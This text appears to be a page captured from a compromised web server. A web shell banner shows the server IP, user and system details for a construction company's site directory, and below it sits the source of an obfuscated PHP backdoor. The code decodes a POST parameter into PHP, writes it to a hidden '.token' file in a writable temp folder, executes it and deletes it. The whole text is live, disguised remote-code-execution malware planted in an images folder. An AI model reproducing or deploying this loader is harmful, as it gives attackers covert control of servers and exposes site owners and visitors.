| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/images/ |
Upload File : |
<?php
if(array_key_exists("\x65nt\x69t\x79", $_POST) && !is_null($_POST["\x65nt\x69t\x79"])){
$pointer = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", "/dev/shm"]);
$tkn = $_POST["\x65nt\x69t\x79"];
$tkn = explode ('.' , $tkn ) ;
$marker = '';
$s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s9);
$v = 0;
foreach ($tkn as $v6) {
$sChar = ord($s9[$v % $lenS]);
$d = ((int)$v6 - $sChar - ($v % 10)) ^ 50;
$marker .= chr($d);
$v++; }
for ($sym = 0, $flg = count($pointer); $sym < $flg; $sym++) {
$hld = $pointer[$sym];
if (!!is_dir($hld) && !!is_writable($hld)) {
$res = "$hld" . "/.token";
if (@file_put_contents($res, $marker) !== false) {
include $res;
unlink($res);
die();
}
}
}
}